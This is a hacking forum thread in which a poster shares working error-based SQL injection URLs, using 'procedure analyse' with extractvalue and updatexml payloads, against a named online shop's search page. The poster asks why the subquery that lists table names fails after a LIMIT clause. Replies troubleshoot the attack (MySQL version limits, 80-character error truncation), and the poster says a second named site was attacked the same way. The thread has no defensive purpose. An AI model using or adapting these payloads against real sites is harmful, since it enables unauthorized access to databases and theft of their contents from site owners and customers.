Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

XPATH injection after limit clause

Hi guys so i have a problem, i had that kind of problem twice in my life and i am curious...

maybe u know why i cant get select in this query


Code
http://www.alexandchloe.com/online_shop/advanced_search_result.php?osCsid=260af112c5edcaceac2561bd1a2e988d&keywords=&x=27&y=5&categories_id=26&inc_subcat=1&manufacturers_id=&pfrom=&pto=&dfrom=06/01/2008&dto=12/30/2015&max=100 procedure Analyse (extractvalue(0,substr(concat(0x27,0x3c623e44617461626173653a20,database(),0x3c2f623e),1,150)),1) -- -

that show the database() fine but when i use

Code
http://www.alexandchloe.com/online_shop/advanced_search_result.php?osCsid=260af112c5edcaceac2561bd1a2e988d&keywords=&x=27&y=5&categories_id=26&inc_subcat=1&manufacturers_id=&pfrom=&pto=&dfrom=06/01/2008&dto=12/30/2015&max=100 procedure analyse(updatexml(1,concat(0x27,(select substr(group_concat(table_name),1,150) from information_schema.tables where table_schema=database())),1),0)-- -

all i see is


Code
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select substr(group_concat(table_name),1,150) from information_schema.tables whe' at line 1


any idea why i cant get select statement in that db version()=5.5.46-cll ?

i had that twice and the other site was also version 5.5.46-cll of mysql...
You might have to deal with the character limit if its something that is negotiated with the server after submission. I know you can change the form limits with Javascript but this is a request that is being sent to the server. Good question!
Ya maybe char limit, but the query on other web was 2 times short and still had that problem i think it may be blocked by this ver of sql, there is no select after limit?
It's breaking at the word "select". This has nothing to do with character limit.
I also tried this and it always breaks on the word select.
Maybe it's filtered or something?
No its not filtred but that ver of db may not accept select other query after limit, its not first web i also had that on twodollarclick pay to click network
in some versions, we cant use subqueries after limit.
if you cant find somethin to live for, you best find somethin to die for.
Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .
(Jan 2, 2016 02:31 AM)scorpoin Wrote:  Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .

long time no see. 🙂
if you cant find somethin to live for, you best find somethin to die for.
(Jan 2, 2016 02:31 AM)scorpoin Wrote:  Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .

y0 bro i had a break too ;D good 2see you ;]
(Jan 2, 2016 02:31 AM)scorpoin Wrote:  Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .

Wow, wonder if Sho0ter and Apendix are still in the scene..Its been a longgggg time.
(Dec 31, 2015 04:33 AM)ShadowNigg3r Wrote:  This has nothing to do with character limit.

It has, as the errormessage outputed by the server is limited to 80 chars.

No one except FANEq and benzi may remember me, but i am also still lurking around : >
Nice seeing you guys still around as most others from the past left or became passive readers only.
Huges names just disappeared or got banned which makes me sad as there was so many talents around here.
Hope you keep it up, i have the feeling that we are some of the last guys (from older days) standing in this section...
Cheers, Gee.
I do remember bro :), its not the same hf but still worth to refresh old days. 2011 was good year :)
For contact, mail me at [email protected]__________________________________________________
OSCP & OSCE owner.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by raylex02Aug 2, 2018 08:07 AM 4 195 Aug 2, 2018 08:07 AM
Last Post: Gee4rce
by DROP TABLE usersAug 14, 2016 06:22 AM 3 140 Aug 14, 2016 06:22 AM
Last Post: Kashmiri Hunter
by TheRAnkorPitJul 26, 2015 08:28 AM 2 137 Jul 26, 2015 08:28 AM
Last Post: Viktory